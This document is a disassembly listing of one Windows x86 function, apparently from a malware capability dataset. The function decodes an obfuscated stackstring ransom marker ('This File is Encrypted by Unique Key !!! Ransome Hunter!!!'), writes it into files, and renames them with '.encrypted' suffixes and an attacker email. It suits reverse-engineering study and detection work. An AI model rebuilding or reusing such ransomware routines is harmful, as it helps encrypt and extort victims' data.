Function at 0x4013d0
Capabilities:
Contain obfuscated stackstrings
Move file
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x1298
call fcn.00502ed0
mov eax, dword [0x574978]
xor eax, esp
mov dword [esp + 0x1294], eax
push ebp
mov ebp, dword [esp + 0x12a0]
push edi
mov edi, ecx
test ebp, ebp
jne 0x4013fe
xor eax, eax
jmp 0x401726
push str..ency
push ebp
call fcn.005015e3
add esp, 8
test eax, eax
je 0x40141a
mov eax, 1
jmp 0x401726
push esi
push 0x554a8c
push ebp
call fcn.0050170a
mov esi, eax
add esp, 8
test esi, esi
je 0x401725
push ebx
push 0x4f
lea eax, [esp + 0x51]
push 0
push eax
mov byte [esp + 0x58], 0
call fcn.00502cf0
mov al, 0x20
mov cl, 0x69
mov dl, 0x65
push 0
mov bl, 0x6e
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x3c], cl
mov cl, 0x21
push 0
push esi
mov byte [esp + 0x28], 0x54
mov byte [esp + 0x29], 0x68
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x46
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], dl
mov byte [esp + 0x31], al
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x63
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x79
mov byte [esp + 0x3a], 0x70
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x62
mov byte [esp + 0x40], 0x79
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0x55
mov byte [esp + 0x43], bl
mov byte [esp + 0x45], 0x71
mov byte [esp + 0x46], 0x75
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], al
mov byte [esp + 0x49], 0x4b
mov byte [esp + 0x4a], dl
mov byte [esp + 0x4b], 0x79
mov byte [esp + 0x4c], al
mov byte [esp + 0x4d], cl
mov byte [esp + 0x4e], cl
mov byte [esp + 0x4f], cl
mov byte [esp + 0x50], al
mov byte [esp + 0x51], 0x52
mov byte [esp + 0x52], 0x61
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x55], 0x6f
mov byte [esp + 0x56], 0x6d
mov byte [esp + 0x57], dl
mov byte [esp + 0x58], al
mov byte [esp + 0x59], 0x48
mov byte [esp + 0x5a], 0x75
mov byte [esp + 0x5b], bl
mov byte [esp + 0x5c], 0x74
mov byte [esp + 0x5d], dl
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], al
mov byte [esp + 0x60], cl
mov byte [esp + 0x61], cl
mov byte [esp + 0x62], cl
call fcn.005017ab
push esi
push 1
lea ecx, [esp + 0x6c]
push 0x50
push ecx
call fcn.00501ad0
push 0
push 0
push esi
call fcn.005017ab
push esi
push 1
lea edx, [esp + 0x4c]
push 0x3b
push edx
call fcn.00501c4f
add esp, 0x44
push 2
push 0
push esi
call fcn.005017ab
push esi
push 1
lea eax, [esp + 0x60]
push 0x50
push eax
call fcn.00501c4f
push esi
call fcn.00501d48
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x2ce]
push edx
mov word [esp + 0x2d0], cx
call fcn.00502cf0
mov eax, dword [edi + 0xcc]
add esp, 0x2c
pop ebx
test eax, eax
jne 0x4015f4
push ebp
lea eax, [esp + 0x2a4]
push str._s.ency
push eax
call fcn.00501239
add esp, 0xc
jmp 0x401711
cmp eax, 1
jb 0x401711
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0xaaa]
push edx
mov word [esp + 0xaac], cx
call fcn.00502cf0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xae]
push ecx
mov word [esp + 0xb0], ax
call fcn.00502cf0
lea edx, [esp + 0xab8]
add esp, 0x18
mov eax, ebp
sub edx, ebp
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401645
lea edx, [esp + 0xaa0]
push 0x5c
push edx
call fcn.00501dc4
mov esi, eax
add esp, 8
test esi, esi
je 0x4016f4
xor eax, eax
mov word [esi], ax
mov edi, dword [edi + 0xcc]
add esi, 2
cmp edi, 1
jne 0x40168b
push esi
push str.CorornaVI_promail.ch__s
jmp 0x4016c5
cmp edi, 2
jne 0x4016d5
push 0x2e
push esi
call fcn.00501dc4
add esp, 8
test eax, eax
je 0x4016bf
xor edx, edx
mov word [eax], dx
add eax, edi
push eax
push esi
lea eax, [esp + 0xa0]
push str._s.encrypted._s
push eax
call fcn.00501239
add esp, 0x10
jmp 0x4016d5
push esi
push str.excrypted__s
lea ecx, [esp + 0xa0]
push ecx
call fcn.00501239
add esp, 0xc
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0xaa4]
push eax
push str._s_s
lea ecx, [esp + 0x2ac]
push ecx
jmp 0x401709
mov edx, dword [edi + 0xcc]
push edx
push ebp
push str._s.ency__d
lea eax, [esp + 0x2ac]
push eax
call fcn.00501239
add esp, 0x10
lea ecx, [esp + 0x2a0]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov eax, 2
pop esi
mov ecx, dword [esp + 0x129c]
pop edi
pop ebp
xor ecx, esp
call fcn.0050109b
add esp, 0x1298
ret 4